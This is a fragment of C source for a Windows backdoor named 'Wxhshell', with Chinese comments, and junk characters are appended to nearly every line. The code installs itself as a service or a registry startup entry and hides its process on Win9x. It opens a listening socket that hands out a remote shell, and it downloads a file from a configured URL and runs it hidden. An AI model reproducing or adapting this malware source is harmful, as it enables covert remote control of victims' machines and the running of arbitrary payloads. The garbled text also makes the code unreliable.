DWORD BasePriority; Wn61;kV_)
ULONG UniqueProcessId; C&Nga
`J
ULONG InheritedFromUniqueProcessId; |"4+~z%/9!
} PROCESS_BASIC_INFORMATION; 8UH
c,np
QU4/hS;Ux
PROCNTQSIP NtQueryInformationProcess; cg16|
T06BrX
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3q{op9_T7
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8ZY F%
KI* erK
[d
HANDLE hProcess; y|sU-O2}Dl
PROCESS_BASIC_INFORMATION pbi; U ?vG?{A
PL;PId<9w
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [1pWg^
if(NULL == hInst ) return 0; `a$-"tW~j
drr
W?U
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JQ-O=8]
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s&T"/4
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .UxbwTup
YVcFCl
if (!NtQueryInformationProcess) return 0; u\LbPk
*G'R+_tdE
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G/l 28yt
if(!hProcess) return 0; N~c Y ~a
2~yYwX
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R#D>m8&}3
l*~ ".q;S
CloseHandle(hProcess); +M@,CbqD
H0!W:cIS;l
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;,d^=:S6@
if(hProcess==NULL) return 0; F+%6?2J
x4b.^5"`:
HMODULE hMod; (jR7D"I
char procName[255]; "])yV
unsigned long cbNeeded; --t"X<.z
ccUI\!TD{/
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y9YE:s
kU*Fif
CloseHandle(hProcess); ??X3teO{
<4l;I*:2&
if(strstr(procName,"services")) return 1; // 以服务启动 [SnnOq Ww
wrORyj
return 0; // 注册表启动 Z/Vb _
} Me*woCos'
~"eQPTd
// 主模块 XsOz
{?G
int StartWxhshell(LPSTR lpCmdLine) @-^jbmu^
P
{ L?aaR%6#
SOCKET wsl; ]@Gw$
BOOL val=TRUE; #0;H'GO?c
int port=0; ;|C[.0;kgv
struct sockaddr_in door; Sbf+;:D
UEm~5,>$0
if(wscfg.ws_autoins) Install(); xN^ngRg0
;M)l7f
port=atoi(lpCmdLine); Qyh_o
u 2)#Ml
if(port<=0) port=wscfg.ws_port; uA`EJ )d
G54,`uz2
WSADATA data; 3Ryae/Nk
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #2dd`F8
UW!*=?h
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; lWiC$
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &CtWWKS"
door.sin_family = AF_INET; z}772hMB
door.sin_addr.s_addr = inet_addr("127.0.0.1"); p\>im+0oh
door.sin_port = htons(port); a$}n4p
Bu%TTbnz_G
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /'yi!:FZFC
closesocket(wsl); @<n8?"{5S
return 1; *hm;C+<~
} .>/Tc
g8+Ke'=_
if(listen(wsl,2) == INVALID_SOCKET) { ^@"H(1Hxu/
closesocket(wsl); MQ~OG9.
return 1; } `X.^}oe
} ,McwPHEMB
Wxhshell(wsl); c8R#=^ DD
WSACleanup(); t<UtSkE1
!)!<.x
return 0; 58v q5j<V
4u!<3-3Zy
} <@+>A$~0
}3^b1D>2O
// 以NT服务方式启动 G1:*F8q
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W*S!}ZT`
{ ;!k{{Xndd
DWORD status = 0; -Hx._I$l
DWORD specificError = 0xfffffff; +Jf45[D
Oo)MxYPU
serviceStatus.dwServiceType = SERVICE_WIN32; hny(:Dj
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @i" ^b
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t;>"V.F<1
serviceStatus.dwWin32ExitCode = 0; 4E"OD+
serviceStatus.dwServiceSpecificExitCode = 0; J|'e.1v
serviceStatus.dwCheckPoint = 0; r.JY88"
serviceStatus.dwWaitHint = 0; &,4 3&pFU
6Cdc?#&
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "OdR"M(G\
if (hServiceStatusHandle==0) return; H#Aar
YtQsSU
status = GetLastError(); QH)uh"
if (status!=NO_ERROR) /4Df 'd
{
5O7x4bY
serviceStatus.dwCurrentState = SERVICE_STOPPED; PkqOBU*|=
serviceStatus.dwCheckPoint = 0; g^`;B"
serviceStatus.dwWaitHint = 0; iC$mb~G
serviceStatus.dwWin32ExitCode = status; r+#! ]wNPe
serviceStatus.dwServiceSpecificExitCode = specificError; Vm3e6Y,K
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c:$W5j('Z
return; `S&$y4|Vs
} \[!k`6#t7
<`rl[C{
serviceStatus.dwCurrentState = SERVICE_RUNNING; r )pg9}+
serviceStatus.dwCheckPoint = 0; w^rINPAS
serviceStatus.dwWaitHint = 0; N:_U2[V^d
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {H\(H_X
} hwon^?
Msk^H7
// 处理NT服务事件,比如:启动、停止 >3{l"SPU
VOID WINAPI NTServiceHandler(DWORD fdwControl) NHL -ll-R
{ 96 ozt UK
switch(fdwControl) dx<KZR$!V
{ ME9jN{ le
case SERVICE_CONTROL_STOP: _ +"V5z
serviceStatus.dwWin32ExitCode = 0; qaj~q(j~C
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]jkaOj
serviceStatus.dwCheckPoint = 0; ,j'>}'wG)
serviceStatus.dwWaitHint = 0;
N1pw*<&
{ \nX5$[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m4 :|
} 0\Q/$#3
return; Z*M]AvO+#
case SERVICE_CONTROL_PAUSE: Zy<gA >
serviceStatus.dwCurrentState = SERVICE_PAUSED; s={jwI50
break; @@])B#
case SERVICE_CONTROL_CONTINUE: BB>R=kt
serviceStatus.dwCurrentState = SERVICE_RUNNING; !_ng_,J
break; Y NRorE
case SERVICE_CONTROL_INTERROGATE: <8'-azpJ6<
break; t+2!"Jr
}; Vk#wJ-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F$!K/Mm[
} 9q4%s?)j
O6P{+xj$
// 标准应用程序主函数 QoU0>p+2
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NI1jJfH|l
{ +
Q $Jq
;I#f:UQ
// 获取操作系统版本 gbl`_t/
OsIsNt=GetOsVer(); }8zw| (GR,
GetModuleFileName(NULL,ExeFile,MAX_PATH); sfN6ro
~.dmfA{
// 从命令行安装 7e`ylnP!
if(strpbrk(lpCmdLine,"iI")) Install(); C5W}
o:jE
jMH=lQ+8
// 下载执行文件 "< c,I=A
if(wscfg.ws_downexe) {
UE-+P
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AW XBk+
WinExec(wscfg.ws_filenam,SW_HIDE); /c>@^
} >=WlrmI
Hp@nxtKxW
if(!OsIsNt) { Kc%GxD`
// 如果时win9x,隐藏进程并且设置为注册表启动 z-Ndv;:
HideProc(); ]<zjD%Ez
StartWxhshell(lpCmdLine); [Ju5O[o
} k3w(KH@
else 5 wT
e?
if(StartFromService()) .5'_5>tkv
// 以服务方式启动 2<
"-
StartServiceCtrlDispatcher(DispatchTable); &* Aems{-
else :'F7^N3;H
// 普通方式启动 Q#Vg5H4
StartWxhshell(lpCmdLine); V"r2 t9A
OH*
return 0; (PM!{u=
}